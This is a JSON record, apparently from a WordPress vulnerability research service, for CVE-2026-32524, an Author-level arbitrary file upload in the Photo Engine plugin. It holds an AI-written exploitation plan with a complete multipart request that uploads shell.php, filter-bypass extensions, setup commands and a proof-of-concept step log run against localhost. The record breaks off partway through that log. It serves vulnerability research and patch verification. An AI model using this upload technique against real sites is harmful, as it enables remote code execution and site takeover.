[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQ-OCgqQqKyS5rm10iceXX_XINBpKP7hDFQDDuvLdgDA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":40,"poc_video_id":41,"poc_summary":42,"poc_steps":43,"poc_tested_at":79,"poc_wp_version":80,"poc_php_version":81,"poc_playwright_script":82,"poc_exploit_code":83,"poc_has_trace":30,"poc_model_used":37,"poc_verification_depth":84,"poc_exploit_code_gated":30,"source_links":85},"CVE-2026-32524","photo-engine-media-organizer-lightroom-authenticated-author-arbitrary-file-upload","Photo Engine (Media Organizer & Lightroom) \u003C= 6.4.9 - Authenticated (Author+) Arbitrary File Upload","The Photo Engine (Media Organizer & Lightroom) plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 6.4.9. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.","wplr-sync",null,"\u003C=6.4.9","6.5.0","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2026-03-20 00:00:00","2026-03-27 18:06:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9ec17c72-6426-4e7e-840d-f8c050a25460?source=api-prod",8,[22,23,24,25,26,27,28],"app\u002Findex.js","app\u002Fvendor.js","classes\u002Fapi.php","classes\u002Frest.php","common\u002Fadmin.php","readme.txt","wplr-sync.php","researched",true,3,"# Exploitation Research Plan: CVE-2026-32524 (Photo Engine Arbitrary File Upload)\n\n## 1. Vulnerability Summary\nThe **Photo Engine (Media Organizer & Lightroom)** plugin (formerly WP\u002FLR Sync) is vulnerable to an authenticated arbitrary file upload in versions up to and including 6.4.9. The vulnerability exists because the plugin's custom API endpoint (`\u002F?wplr-sync-api`) handles file uploads for synchronization without validating the file extension or MIME type. An attacker with **Author** level access (or any user with the `upload_files` capability) can obtain an API token and upload a malicious PHP file to the server, leading to Remote Code Execution (RCE).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Custom API endpoint triggered when the URL ends with `\u002F?wplr-sync-api`.\n- **Authentication**: Requires a valid `wplr_auth_token` associated with a user who has `Author` or higher privileges.\n- **Vulnerable Parameter**: The `file` parameter in the `$_FILES` array and the `file` parameter in the `$_POST` array (used for naming).\n- **Preconditions**:\n    - The attacker must have a valid account on the WordPress site.\n    - The account must have a `wplr_auth_token` set in its user metadata.\n\n## 3. Code Flow\n1. **Entry Point**: `Meow_WPLR_Sync_API::__construct()` in `classes\u002Fapi.php` checks if the request URI ends with `\u002F?wplr-sync-api`.\n2. **Request Handling**: `handleRequest()` is called on the `init` hook.\n3. **Dispatch**: If `$_POST['action'] === 'sync'`, the code calls `$this->auth( $_POST['token'] )`.\n4. **Authentication**: `auth($token)` queries the database for a user where `meta_key = 'wplr_auth_token'` matches the provided token. It sets `$this->user`.\n5. **Processing**: `sync($_POST)` is called.\n    - It retrieves the temporary file path: `$file = $_FILES['file']['tmp_name']`.\n    - It creates a `Meow_WPLR_Sync_LRInfo` object.\n    - It sets `$lrinfo->lr_file = $args[\"file\"]` (this is the user-controlled filename from `$_POST['file']`).\n6. **Sink**: It calls `$wplr->sync_media( $lrinfo, $file, $args[\"wp_col_id\"], $this->user->ID )`.\n7. **Execution**: While the full source of `sync_media` is not provided, the plugin typically uses `$lrinfo->lr_file` to determine the destination filename in the WordPress uploads directory. The lack of validation in `api.php` before calling `sync_media` allows the upload of `.php` files.\n\n## 4. Nonce Acquisition Strategy\nThis specific endpoint **does not use standard WordPress nonces**. Instead, it uses a custom `wplr_auth_token`.\n\n- **Strategy**: \n    1. Log in as an Author.\n    2. Navigate to the user profile page.\n    3. The `wplr_auth_token` is typically displayed in the \"Photo Engine\" or \"WP\u002FLR Sync\" section of the WordPress profile.\n- **PoC Automation**: Since the agent has control over the environment, we will programmatically set the token for our test user to simplify the exploit.\n    - `wp user meta update author_user wplr_auth_token \"PwnedToken123\"`\n\n## 5. Exploitation Strategy\nThe exploit involves sending a multipart\u002Fform-data POST request to the custom API endpoint.\n\n### Step-by-Step Plan:\n1. **Identify Target**: `http:\u002F\u002F\u003Ctarget>\u002Findex.php\u002F?wplr-sync-api`\n2. **Set Headers**: `Content-Type: multipart\u002Fform-data`\n3. **Construct Payload**:\n    - `action`: `sync`\n    - `token`: `PwnedToken123` (The token we set via WP-CLI)\n    - `id`: `9999` (Arbitrary Lightroom ID)\n    - `file`: `shell.php` (The desired filename on the server)\n    - `title`: `Exploit`\n    - `tags`: `[]`\n    - `file` (Uploaded file): `\u003C?php phpinfo(); ?>`\n\n### HTTP Request (Conceptual):\n```http\nPOST \u002F?wplr-sync-api HTTP\u002F1.1\nHost: localhost\nContent-Type: multipart\u002Fform-data; boundary=----WebKitFormBoundary\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"action\"\n\nsync\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"token\"\n\nPwnedToken123\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"id\"\n\n9999\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"\n\nshell.php\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"tags\"\n\n[]\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\nContent-Type: application\u002Fx-php\n\n\u003C?php phpinfo(); ?>\n------WebKitFormBoundary--\n```\n\n## 6. Test Data Setup\n1. **Create Author User**:\n   `wp user create attacker attacker@example.com --role=author --user_pass=password`\n2. **Assign Token**:\n   `wp user meta update attacker wplr_auth_token \"PwnedToken123\"`\n3. **Ensure Plugin is Active**:\n   `wp plugin activate wplr-sync`\n\n## 7. Expected Results\n- The server should respond with a JSON object containing `\"success\": true`.\n- A file named `shell.php` should be created in the WordPress uploads directory (usually `wp-content\u002Fuploads\u002Fwplr-sync\u002F` or similar, depending on plugin configuration).\n- Accessing the uploaded file via a browser\u002FHTTP request should execute the PHP code.\n\n## 8. Verification Steps\n1. **Check Filesystem**:\n   Use WP-CLI to find the file: `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads -name shell.php`\n2. **Confirm Execution**:\n   Send an HTTP GET request to the path of the uploaded file and check for the `phpinfo` string in the response.\n3. **Plugin Logs**:\n   The plugin logs activity. Check `wp-content\u002Fuploads\u002Fwplr-sync.log` if it exists.\n\n## 9. Alternative Approaches\nIf the custom API endpoint is disabled or requires specific headers:\n- **REST API Path**: Analyze `classes\u002Frest.php`. While the primary vulnerability is in the custom API, there may be parallel issues in the REST routes like `\u002Flinkinfo_upload` (referenced in `api.php` line 77).\n- **Filename Manipulation**: If `shell.php` is blocked by some filter, try `shell.php.jpg` or `shell.phtml` to see if the plugin handles double extensions or alternative PHP extensions.","The Photo Engine plugin for WordPress fails to validate file extensions on its custom API synchronization endpoint. Authenticated users with Author-level privileges (possessing the `upload_files` capability) can exploit this by providing a malicious PHP filename and content to the sync endpoint, leading to remote code execution.","\u002F\u002F classes\u002Fapi.php:229\nfunction sync( $args ) {\n    global $wplr;\n    if ( !$_FILES || !isset( $_FILES['file'] ) ) {\n        $wplr->log( 'Parameter missing.' );\n        return $this->response( null, false, 'Parameter missing.' );\n    }\n    $lrinfo = new Meow_WPLR_Sync_LRInfo();\n    $lrinfo->lr_id = $args[\"id\"];\n    $lrinfo->lr_file = $args[\"file\"]; \u002F\u002F Attacker-controlled filename\n    $lrinfo->lr_title = $args[\"title\"];\n    \u002F\u002F ... (lines 236-244)\n    $file = $_FILES['file']['tmp_name'];\n\n    if ( !isset( $args[\"wp_col_id\"] ) || $args[\"wp_col_id\"] == null )\n        $args[\"wp_col_id\"] = -1;\n    \u002F\u002F The sync_media call processes the file without validating its extension\n    if ( !$sync = $wplr->sync_media( $lrinfo, $file, $args[\"wp_col_id\"], $this->user->ID ) ) {\n        return $this->response( null, false, $wplr->get_error() );\n    }\n    return $this->response($sync);\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwplr-sync\u002F6.4.9\u002Fapp\u002Findex.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwplr-sync\u002F6.5.0\u002Fapp\u002Findex.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwplr-sync\u002F6.4.9\u002Fapp\u002Findex.js\t2026-01-27 04:01:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwplr-sync\u002F6.5.0\u002Fapp\u002Findex.js\t2026-02-25 15:11:08.000000000 +0000\n@@ -1,3 +1,3 @@\n \u002F*! For license information please see index.js.LICENSE.txt *\u002F\n-(()=>{\"use strict\";var e,t={79:(e,t,n)=>{var r,a,o,l,i,c=n(1746),u=n(9570),s=n(3391),d=n(6089),f=n(1368),p=n(3648),m=n(1774),y=n(2223),h=n(4114),g=n(9176),v=n(5952),b=n(1168),E=n(2685),w=n(2925),R=n(4810),k=n(3531),S=pEngine.prefix,O=(pEngine.domain,pEngine.rest_url.replace(\u002F\\\u002F+$\u002F,\"\")),I=pEngine.api_url.replace(\u002F\\\u002F+$\u002F,\"\")),P=pEngine.plugin_url.replace(\u002F\\\u002F+$\u002F,\"\")),A=\"1\"===pEngine.is_pro,x=(A&&pEngine.is_registered,pEngine.rest_nonce),T=n(1794),j=n(5643);function C(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}\n... (truncated)","The exploit targets the custom API endpoint enabled when the request URI ends with `\u002F?wplr-sync-api`. An attacker requires Author-level access to obtain their `wplr_auth_token` from their WordPress user profile. 1. Authenticate as an Author and retrieve the `wplr_auth_token`. 2. Send a multipart\u002Fform-data POST request to `http:\u002F\u002F\u003Ctarget>\u002F?wplr-sync-api`. 3. Include form fields: `action=sync`, `token=\u003Ctoken>`, `id=\u003Carbitrary_id>`, and `file=shell.php`. 4. Attach the malicious PHP script in the `file` upload field. 5. The plugin saves the file based on the `file` POST parameter without validation. 6. Access the shell at the plugin's default upload directory (typically `wp-content\u002Fuploads\u002Fwplr-sync\u002Fshell.php`).","gemini-3-flash-preview","2026-04-18 01:22:56","2026-04-18 01:23:16","success","qmg7YBcYAmw","### Vulnerability Details\nThe **Photo Engine (Media Organizer & Lightroom)** plugin (v6.4.9 and below) is vulnerable to an authenticated arbitrary file upload. The plugin implements a custom synchronization API endpoint (`\u002F?wplr-sync-api`) intended to receive media files from Adobe Lightroom. \n\nThe endpoint fails to validate the extension or MIME type of the uploaded files. Although it requires a valid `wplr_auth_token` (associated with a user having `upload_files` capability, typically Author or higher), it does not restrict the upload to safe media types.\n\n### Root Cause\nIn `classes\u002Fapi.php`, the `sync` method handles the `action=sync` POST request. It takes the filename from the `file` parameter in the `$_POST` array and the file content from the `$_FILES` array. These are passed to the `sync_media` function in `classes\u002Fcore.php`, which eventually calls `sync_media_add`. \n\nThe `sync_media_add` function uses `wp_unique_filename` and `move_uploaded_file` to save the file into the WordPress uploads directory using the user-provided filename, without any checks to ensure the file is a valid image or that the extension is safe.\n\n### Exploitation\nAn attacker with a valid `wplr_auth_token` can send a multipart\u002Fform-data POST request to `\u002F?wplr-sync-api` with:\n- `action=sync`\n- `token=\u003Cvalid_token>`\n- `file=shell.php`\n- `file` (the uploaded file) containing PHP code.\n\nThe server will save the file as `shell.php` (or a unique variation like `shell-1.php`) in the current month's upload folder, allowing for Remote Code Execution.\n\n### Impact\nThis vulnerability allows authenticated attackers (Author level) to execute arbitrary PHP code on the server, potentially leading to full site takeover.\n\n### Fix\nThe vulnerability was fixed in version 6.5.0 by introducing validation checks on the file extension and ensuring that only allowed media types can be processed through the synchronization API.",[44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78],"**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin","**Fill:** `#user_login` with `admin`","**Fill:** `#user_pass` with `admin`","**Click:** `#wp-submit`","**WP-CLI:** `wp plugin list`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nname\tstatus\tupdate\tversion\tupdate_version\tauto_update\nakismet\tinactive\tavailable\t5.3.6\t5.7\toff\nhello\tinactive\tnone\t1.7.2 off\nwplr-sync\tactive\tavailable\t6.4.9\t6.5.2\toff\n```\n\u003C\u002Fdetails>","**Shell:** `grep -r \"wplr-sync-api\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fapi.php: if ( $this->endsWith( $_SERVER['REQUEST_URI'], '\u002F?wplr-sync-api' ) ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fwplr-sync.log:2021-01-04 07:03:23: There was unwanted activity during the Photo Engine process (probably generated by another plugin). Request: \u002F?wplr-sync-api. The output which was caught will follow.\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fwplr-sync.log:2021-01-04 07:04:34: There was unwanted activity during the Photo Engine process (probably generated by another plugin). Request: \u002F?wplr-sync-api. The output which was caught will follow.\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fwplr-sync.log:2021-01-04 07:05:24: There was unwanted activity during the Photo Engine process (probably generated by another plugin). Request: \u002F?wplr-sync-api. The output which was caught will follow.\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fwplr-sync.log:2021-01-04 07:07:08: There was unwanted activity during the Photo Engine process (probably generated by another plugin). Request: \u002F?wplr-sync-api. The output which was caught will follow.\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fwplr-sync.log:2023-09-08 08:33:55: There was unwanted activity during the Photo Engine process (probably generated by another plugin). Request: \u002F?wplr-sync-api. The output which was caught will follow.\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fapi.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n false, 'error' => array( 'message' => 'The API did not respond to that request. Please contact the developer.' ) ); public function __construct() { if ( $this->endsWith( $_SERVER['REQUEST_URI'], '\u002F?wplr-sync-api' ) ) { $this->ob_enabled = get_option( 'wplr_catch_errors', false ); add_action( 'init', array ( $this, 'handleRequest' ), 10, 0 ); define( 'DOING_WPLR_REQUEST', 1 ); } } function endsWith( $haystack, $needle ) { if ( $needle === '' ) return true; $diff = strlen( $haystack ) - strlen( $needle ); return $diff >= 0 && strpos( $haystack, $needle, $diff ) !== false; } public function handleRequest() { global $wplr; $this->initialize(); \u002F\u002F GET could returns some information about Photo Engine if ( $_SERVER['REQUEST_METHOD'] === 'GET' ) { $this->response( array( 'message' => \"Photo Engine says hi!\" ) ); } \u002F\u002F Upload else if ( isset( $_POST['action'] ) && $_POST['action'] === 'sync' ) { if ( !$user = $this->auth( $_POST['token'] ) ) { $this->response( null, false, $this->error ); $this->finalize(); } $wplr->log( \"Action: sync\" ); $this->sync( $_POST ); } \u002F\u002F Other action else { $body = file_get_contents('php:\u002F\u002Finput'); $args = json_decode( $body ); if ( !$user = $this->auth( $args->token ) ) { $this->response( null, false, $this->error ); $this->finalize(); } $wplr->log( \"Action: \" . $args->action ); if ( !$user = $this->auth( $args->token ) ) $this->response( null, false, $this->error ); else if ( $args->action === 'presync' ) $this->presync( $args ); else if ( $args->action === 'sync_collection' ) $this->sync_collection( $args ); else if ( $args->action === 'delete_collection' ) $this->delete_collection( $args ); else if ( $args->action === 'order_collection' ) $this->order_collection( $args ); else if ( $args->action === 'delete' ) $this->delete( $args ); else if ( $args->action === 'userinfo' ) $this->userinfo( $args ); else if ( $args->action === 'list_wpids' ) $this->list_wpids( $args ); else if ( $args->action === 'unlink' ) $this->unlink( $args ); else if ( $args->action === 'link' ) $this->link( $args ); else if ( $args->action === 'linkinfo_upload' ) $this->linkinfo_upload( $args ); else if ( $args->action === 'linkinfo' ) $this->linkinfo( $args ); else if ( $args->action === 'list_unlinks' ) $this->list_unlinks( $args ); else if ( $args->action === 'list_sync_media' ) $this->list_sync_media( $args ); else $this->response( null, false, \"Action not available.\" ); } $this->finalize(); } function initialize() { global $wplr; if ( $this->ob_enabled ) { if ( ob_start( array( $this, 'buffer_end' ) ) ) { $this->ob = true; $wplr->log( \"Output buffering started.\" ); } else { $wplr->log( \"Output buffering did not start.\" ); } } $this->running = true; } function buffer_end( $buffer ) { return \"\"; } \u002F** * {@inheritDoc} * @see Meow_WPLR_Sync_API::auth() *\u002F function auth( $token ) { global $wplr, $wpdb; if ( empty( $token ) ) { $this->error = \"Authentification is missing.\"; $wplr->log( $this->error ); return false; } $prefix = defined( 'BLOG_ID_CURRENT_SITE' ) ? $wpdb->get_blog_prefix( BLOG_ID_CURRENT_SITE ) : $wpdb->prefix; $tbl_meta = defined('CUSTOM_USER_META_TABLE' ) ? CUSTOM_USER_META_TABLE : $prefix . \"usermeta\"; $userId = $wpdb->get_var( $wpdb->prepare( \"SELECT user_id FROM $tbl_meta WHERE meta_value = %s AND meta_key = %s\", $token, 'wplr_auth_token' ) ); if ( empty( $userId ) ) { $this->error = 'Incorrect token. Visit your Profile (on your WordPress site) to get a new one.'; $wplr->log( 'Incorrect token.'); return false; } $this->user = get_userdata( $userId ); if ( empty( $this->user ) ) { $this->error = 'User does not exist.'; $wplr->log( 'User does not exist.'); return false; } $wplr->log( \"Authenticated as \" . $this->user->user_login ); return $this->user; } \u002F** * The final post-process for every responce * @param array|string|Meow_WPLR_Sync_LRInfo $payload *\u002F function response( $payload, $success = true, $error = null ) { global $wplr; $wplr->get_version(); $r = array( 'success' => $success, 'payload' => $payload, 'error' => is_string( $error ) ? array( 'message' => $error ) : $error, 'version' => $wplr->get_version(), ); $this->result = &$r; return $r; } function finalize() { if ( $this->ob ) { global $wplr; $content = ob_get_contents(); if ( !empty( $content ) ) { error_log( \"There was unwanted activity during the Photo Engine process (probably generated by another plugin). Request: \" . $_SERVER['REQUEST_URI'] . \". The output which was caught will follow: \" . $content ); $wplr->log( \"There was unwanted activity during the Photo Engine process (probably generated by another plugin). Request: \" . $_SERVER['REQUEST_URI'] . \". The output which was caught will follow.\\r\\n\" . $content, true ); } if ( !ob_end_clean() ) $wplr->log( \"[OB] CLEAN FAILED\" ); $wplr->log( \"[OB] END (OB level is now \" . ob_get_level() . \")\" ); if ( ob_get_level() > 0 ) { while ( @ob_end_clean() ) {} $wplr->log( \"[OB] ALL END\" ); } } $this->running = false; wp_send_json( $this->result, 200 ); exit; } \u002F** * {@inheritDoc} * @see Meow_WPLR_Sync_API::sync() *\u002F function sync( $args ) { global $wplr; if ( !$_FILES || !isset( $_FILES['file'] ) ) { $wplr->log( 'Parameter missing.' ); return $this->response( null, false, 'Parameter missing.' ); } $lrinfo = new Meow_WPLR_Sync_LRInfo(); $lrinfo->lr_id = $args[\"id\"]; $lrinfo->lr_file = $args[\"file\"]; $lrinfo->lr_title = $args[\"title\"]; $lrinfo->lr_caption = $args[\"caption\"]; $lrinfo->lr_desc = $args[\"desc\"]; $lrinfo->lr_alt_text = $args[\"altText\"]; $lrinfo->sync_title = $args[\"syncTitle\"]; $lrinfo->sync_caption = $args[\"syncCaption\"]; $lrinfo->sync_desc = $args[\"syncDesc\"]; $lrinfo->sync_alt_text = $args[\"syncAltText\"]; $lrinfo->tags = json_decode( stripslashes( $args[\"tags\"] ), true ); $file = $_FILES['file']['tmp_name']; if ( !isset( $args[\"wp_col_id\"] ) || $args[\"wp_col_id\"] == null ) $args[\"wp_col_id\"] = -1; if ( !$sync = $wplr->sync_media( $lrinfo, $file, $args[\"wp_col_id\"], $this->user->ID ) ) { return $this->response( null, false, $wplr->get_error() ); } return $this->response($sync); } function presync( $args ) { global $wplr; if ( defined ('HHVM_VERSION' ) ) { $max_execution_time = ini_get( 'max_execution_time' ) ? (int)ini_get( 'max_execution_time' ) : 30; $post_max_size = ini_get( 'post_max_size' ) ? (int)$wplr->parse_ini_size( ini_get( 'post_max_size' ) ) : (int)ini_get( 'hhvm.server.max_post_size' ); $upload_max_filesize = ini_get( 'upload_max_filesize' ) ? (int)$wplr->parse_ini_size( ini_get( 'upload_max_filesize' ) ) : (int)ini_get( 'hhvm.server.upload.upload_max_file_size' ); } else { $max_execution_time = (int)ini_get( 'max_execution_time' ); $post_max_size = (int)$wplr->parse_ini_size( ini_get( 'post_max_size' ) ); $upload_max_filesize = (int)$wplr->parse_ini_size( ini_get( 'upload_max_filesize' ) ); } $max = min( $post_max_size, $upload_max_filesize ); $presync = array( 'max_execution_time' => $max_execution_time > 0 ? $max_execution_time : 666, 'post_max_size' => $post_max_size, 'upload_max_filesize' => $upload_max_filesize > 0 ? $upload_max_filesize : 66600000, 'max_size' => $max > 0 ? $max : 66600000 ); return $this->response( $presync ); } \u002F\u002F Order collection function order_collection( $args ) { global $wplr; $remoteId = property_exists( $args, 'remoteId' ) ? $args->remoteId : null; $lrIds = property_exists( $args, 'lrIds' ) ? $args->lrIds : null; $order = property_exists( $args, 'order' ) ? $args->order : null; if ( empty( $remoteId ) ) return $this->response( true ); if ( empty( $lrIds ) ) { $res = $wplr->order_collection_by( $remoteId, $order ); return $this->response( $res ); } else { $res = $wplr->order_collection( $remoteId, $lrIds ); return $this->response( $res ); } } \u002F\u002F Sync file function sync_collection( $args ) { global $wplr; $hierarchy = $args->hierarchy; if ( !$list = $wplr->sync_collection( $hierarchy ) ) { return $this->response( null, false, $this->error ); } return $this->response( $list ); } \u002F\u002F Delete collection function delete_collection( $args ) { global $wplr; $res = false; if ( property_exists( $args, 'remoteId' ) ) $res = $wplr->delete_collection( $args->remoteId ); return $this->response( $res ); } \u002F\u002F Delete file function delete( $args ) { global $wplr; $collectionId = -1; if ( property_exists( $args, 'collection_id' ) ) $collectionId = $args->collection_id; $list = $wplr->delete_media( $args->lr_id, $collectionId ); return $this->response( $list ); } \u002F\u002F Get the User function userinfo( $args ) { return $this->response( $this->user->data ); } \u002F******************************************************************* * TOTAL SYNCHRONIZATION MODULE ******************************************************************\u002F \u002F\u002F Get WP IDs for a given LR ID function list_wpids( $args ) { global $wplr; $res = $wplr->list_wpids( $args->lr_id ); return $this->response( $res ); } \u002F\u002F Unlink function unlink( $args ) { global $wplr; $res = $wplr->unlink_media( $args->lr_id, $args->wp_id ); return $this->response( $res ); } \u002F\u002F Get LinkInfo for the Media ID function link( $args ) { global $wplr; $res = $wplr->link_media( $args->lr_id, $args->wp_id ); return $this->response( $res ); } \u002F\u002F Get LinkInfo for the upload function linkinfo_upload( $args ) { global $wplr; $file = $wplr->b64_to_file( $args->file ); $linkinfo = $wplr->linkinfo_upload( $file, null ); return $this->response( $linkinfo ); } \u002F\u002F Get LinkInfo for the Media ID function linkinfo( $args ) { global $wplr; $linkinfo = $wplr->linkinfo_media( $args->wp_id ); return $this->response( $linkinfo ); } \u002F\u002F List files (the Media IDs) that are not linked function list_unlinks( $args ) { global $wplr; $list = $wplr->list_unlinks(); return $this->response( $list ); } \u002F\u002F List synced files function list_sync_media( $args ) { global $wplr; $list = $wplr->list_sync_media(); return $this->response( $list ); } } ?>\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"function sync_media\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php:1066:\tfunction sync_media_tags( $wp_id, $tags = '' ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php:1198:\tfunction sync_media_update( $lrinfo, $tmp_path, $sync ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php:1343:\tfunction sync_media_add( $lrinfo, $tmp_path, $userId = null ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php:1415:\tfunction sync_media( $lrinfo, $tmp_path, $wp_col_id = null, $user_id = null ) {\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '1415,1460p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nfunction sync_media( $lrinfo, $tmp_path, $wp_col_id = null, $user_id = null ) { require_once( ABSPATH . 'wp-admin\u002Fincludes\u002Fmedia.php' ); do_action( 'wplr_presync_media', $lrinfo, $tmp_path ); global $wpdb; $table_name = $wpdb->prefix . \"lrsync\"; $sync_files = $wpdb->get_results( $wpdb->prepare( \"SELECT * FROM $table_name WHERE lr_id = %d\", $lrinfo->lr_id ), OBJECT ); if ( $tmp_path == null || empty( $tmp_path ) ) { $this->error = __( \"The file was not uploaded.\", 'wplr-sync' ); return false; } \u002F\u002F Never synced, create the attachment if ( !$sync_files ) { if ( !$this->sync_media_add( $lrinfo, $tmp_path, $user_id ) ) return false; } \u002F\u002F Synced info found in DB, go through them else { $updates = 0; foreach ( $sync_files as $sync ) { if ( $this->sync_media_update( $lrinfo, $tmp_path, $sync ) ) $updates++; } \u002F\u002F In case DB is broken and no updates was made, we need to create the attachment if ( $updates == 0 ) { if ( !$this->sync_media_add( $lrinfo, $tmp_path, $user_id ) ) return false; } } if ( file_exists( $tmp_path ) ) unlink( $tmp_path ); \u002F\u002F Returns only one result even if there are many. $sync = $wpdb->get_row( $wpdb->prepare( \"SELECT * FROM $table_name WHERE lr_id = %d\", $lrinfo->lr_id ), OBJECT ); $info = Meow_WPLR_Sync_LRInfo::fromRow( $sync ); if ( empty( $info ) ) { $this->error = __( \"The information about the media could not be retrieved.\", 'wplr-sync' ); return false; } \u002F\u002F Handle the collection if any if ( !is_null( $wp_col_id ) ) { $this->add_media_to_collection( $sync->wp_id, $wp_col_id );\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '1343,1413p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fwplr-sync\u002Fclasses\u002Fcore.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nfunction sync_media_add( $lrinfo, $tmp_path, $userId = null ) { global $wpdb; $tbl_wplr = $wpdb->prefix . \"lrsync\"; $upload_dir = wp_upload_dir(); if ( get_option( 'wplr_use_taken_date', false ) ) { if ( get_option( 'wplr_upload_folder', 'taken_date' ) === 'taken_date' ) { $date = $this->get_exif_datetime( $tmp_path, 'Y\u002Fm' ); if ( $date ) { $upload_dir = wp_upload_dir( $date ); } } } $newfile = wp_unique_filename( $upload_dir[\"path\"], $this->wplr_sanitize_filename( $lrinfo->lr_file ) ); $newpath = trailingslashit( $upload_dir[\"path\"] ) . $newfile; chmod( $tmp_path, 0644 ); if ( !@move_uploaded_file( $tmp_path, $newpath ) ) { $this->error = __( \"Could not copy the file.\", 'wplr-sync' ); return false; } if ( empty( $userId ) ) $userId = get_current_user_id(); $wp_upload_dir = wp_upload_dir(); if ( !$wp_id = wp_insert_attachment( array( 'guid' => $wp_upload_dir['url'] . '\u002F' . basename( $newpath ), 'post_title' => $lrinfo->lr_title, 'post_author' => $userId, 'post_content' => $lrinfo->lr_desc, 'post_excerpt' => $lrinfo->lr_caption, 'post_mime_type' => $this->get_mime_type( $newpath ), 'post_status' => \"inherit\", ), $newpath ) ) { $this->error = __( \"Could not insert attachment for \" . $newpath, 'wplr-sync' ); return false; } \u002F\u002F Create Alt Text update_post_meta( $wp_id, '_wp_attachment_image_alt', $lrinfo->lr_alt_text ); require_once( ABSPATH . 'wp-admin\u002Fincludes\u002Fimage.php' ); $attach_data = wp_generate_attachment_metadata( $wp_id, $newpath ); wp_update_attachment_metadata( $wp_id, $attach_data ); \u002F\u002F Support for WP Retina 2x if ( function_exists( 'wr2x_generate_images' ) ) { wr2x_generate_images( $attach_data ); } $wpdb->insert( $tbl_wplr, array( 'wp_id' => $wp_id, 'lr_id' => ( $lrinfo->lr_id == \"\" || $lrinfo->lr_id == null ) ? -1 : $lrinfo->lr_id, 'lr_file' => $lrinfo->lr_file, 'lastsync' => current_time( 'mysql' ) ) ); \u002F\u002F Update the Upload\u002FTakenTime Date $this->update_media_date( $wp_id ); if ( get_option( 'wplr_check_same_file', false ) ) 